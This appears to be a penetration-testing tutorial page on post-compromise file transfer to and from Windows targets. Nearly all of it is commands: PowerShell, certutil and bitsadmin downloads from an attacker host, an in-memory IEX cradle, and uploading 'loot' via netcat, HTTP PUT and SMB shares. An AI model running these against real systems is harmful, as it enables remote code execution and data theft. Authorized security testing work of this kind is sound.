# Transferring Files to and from Windows

> Covers techniques for moving files between attacker and Windows targets post-compromise, including common transfer methods like SMB, HTTP, and PowerShell.

- **URL:** https://hackindex.io/platforms/windows/post-exploitation/transferring-files-to-and-from-windows
- **Path:** Windows > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/platforms/windows/post-exploitation.md)
- **Published:** 2026-04-04
- **Updated:** 2026-05-15

Getting tools onto a Windows target and loot off it are constant tasks throughout an engagement. The right method depends on what is available on the target, what outbound connections are allowed, and how much noise you can tolerate. Methods covered here, from fastest to most restricted:

- HTTP download using PowerShell, certutil, or bitsadmin
- SMB share access for direct file copy with no encoding
- FTP when SMB is blocked but legacy protocols are allowed
- Base64 encode and decode for text-only channels

Choose based on what outbound ports are open and what tools are available on the target.

## HTTP: pulling files from your attack box

The fastest and most reliable method when the target has outbound HTTP access. Serve files from your attack box with a Python server, then pull them down with whatever client is available on the target.

**Serve files from attack box**

```bash
# Python HTTP server
python3 -m http.server 8080

# With HTTPS (avoids some network filtering)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes -subj "/CN=localhost"
python3 -c "import ssl,http.server; ctx=ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain('cert.pem','key.pem'); srv=http.server.HTTPServer(('0.0.0.0',443),http.server.SimpleHTTPRequestHandler); srv.socket=ctx.wrap_socket(srv.socket,server_side=True); srv.serve_forever()"
```

**Download files on Windows target**

```powershell
# PowerShell WebClient (most compatible)
(New-Object Net.WebClient).DownloadFile('http://$LHOST:8080/tool.exe', 'C:\Windows\Temp\tool.exe')

# PowerShell Invoke-WebRequest
Invoke-WebRequest -Uri 'http://$LHOST:8080/tool.exe' -OutFile 'C:\Windows\Temp\tool.exe'

# Shorter alias
iwr 'http://$LHOST:8080/tool.exe' -o 'C:\Windows\Temp\tool.exe'

# Execute in memory without writing to disk
IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/script.ps1')

# certutil: works on all Windows versions, often less blocked
certutil -urlcache -split -f http://$LHOST:8080/tool.exe C:\Windows\Temp\tool.exe

# bitsadmin: legitimate Windows service
bitsadmin /transfer myJob /download /priority normal http://$LHOST:8080/tool.exe C:\Windows\Temp\tool.exe
```

## SMB: direct share access

When the target has outbound SMB access (port 445), serve an SMB share from your attack box and access it directly. No file copy needed: you can run binaries directly from the share, which avoids writing to disk.

**SMB server on attack box**

```bash
# Impacket SMB server (no auth)
impacket-smbserver share . -smb2support

# With authentication (required for some Windows versions)
impacket-smbserver share . -smb2support -username $USER -password $PASSWORD
```

**Access SMB share from Windows target**

```powershell
# Copy file from share
copy \\$LHOST\share\tool.exe C:\Windows\Temp\tool.exe

# Run directly from share (avoids disk write)
\\$LHOST\share\tool.exe

# Mount as drive
net use Z: \\$LHOST\share
net use Z: \\$LHOST\share /user:$USER $PASSWORD

# Upload loot to attack box
copy C:\Windows\Temp\loot.zip \\$LHOST\share\loot.zip
```

## FTP

FTP is available on most Windows systems and is useful when HTTP or SMB is blocked. The built-in FTP client is old and limited, but reliable for basic transfers.

**FTP server on attack box**

```bash
# Python FTP server
pipx install pyftpdlib
python3 -m pyftpdlib -p 21 -w
```

**FTP transfer from Windows target**

```powershell
# FTP command file method (handles non-interactive sessions)
echo open $LHOST 21 > C:\Windows\Temp\ftp.txt
echo USER anonymous >> C:\Windows\Temp\ftp.txt
echo PASS anonymous >> C:\Windows\Temp\ftp.txt
echo binary >> C:\Windows\Temp\ftp.txt
echo GET tool.exe C:\Windows\Temp\tool.exe >> C:\Windows\Temp\ftp.txt
echo bye >> C:\Windows\Temp\ftp.txt
ftp -v -n -s:C:\Windows\Temp\ftp.txt

# PowerShell FTP download
$ftp = [System.Net.FtpWebRequest]::Create("ftp://$LHOST/tool.exe")
$ftp.Method = [System.Net.WebRequestMethods+Ftp]::DownloadFile
$resp = $ftp.GetResponse()
$stream = $resp.GetResponseStream()
[System.IO.File]::WriteAllBytes('C:\Windows\Temp\tool.exe', (New-Object IO.BinaryReader($stream)).ReadBytes(100MB))
```

## Base64 encode and decode

When all network protocols are blocked or you only have a command shell with no direct transfer capabilities, base64 encode the file, paste the string through the shell, and decode it on the target. Works in any shell including restricted ones.

**Encode file on attack box**

```bash
base64 -w 0 tool.exe
# Or copy output directly to clipboard
base64 -w 0 tool.exe | xclip -selection clipboard
```

**Decode base64 on Windows target**

```powershell
# Paste base64 string and decode to binary
$b64 = "PASTEBASE64HERE"
[System.IO.File]::WriteAllBytes('C:\Windows\Temp\tool.exe', [System.Convert]::FromBase64String($b64))
```

## Uploading files back to attack box

Getting loot off the target uses the same channels in reverse. The simplest approach is writing to an SMB share. When that is not available, use a PowerShell HTTP POST or nc.

**Receive files on attack box**

```bash
# Netcat listener to receive file
nc -lvnp 4444 > received_file.zip

# Simple upload server (accepts HTTP POST)
python3 -c "
import http.server, os
class H(http.server.BaseHTTPRequestHandler):
    def do_PUT(self):
        length = int(self.headers['Content-Length'])
        data = self.rfile.read(length)
        fname = os.path.basename(self.path)
        open(fname,'wb').write(data)
        self.send_response(200)
        self.end_headers()
http.server.HTTPServer(('0.0.0.0',8080),H).serve_forever()
"
```

**Upload files from Windows target**

```powershell
# HTTP PUT upload
$wc = New-Object System.Net.WebClient
$wc.UploadFile('http://$LHOST:8080/loot.zip', 'PUT', 'C:\Windows\Temp\loot.zip')

# Netcat send (if nc is available on target)
cmd.exe /c "type C:\Windows\Temp\loot.zip | nc $LHOST 4444"

# PowerShell via SMB share
copy C:\Windows\Temp\loot.zip \\$LHOST\share\
```

For moving files between hosts during lateral movement rather than back to your attack box see [PsExec and SMB Lateral Movement](https://hackindex.io/platforms/windows/lateral-movement/psexec-and-smb-lateral-movement). For exfiltrating data out of the network environment entirely see [Windows Exfiltration over HTTP and HTTPS](https://hackindex.io/platforms/windows/data-exfiltration/windows-exfiltration-over-http-and-https).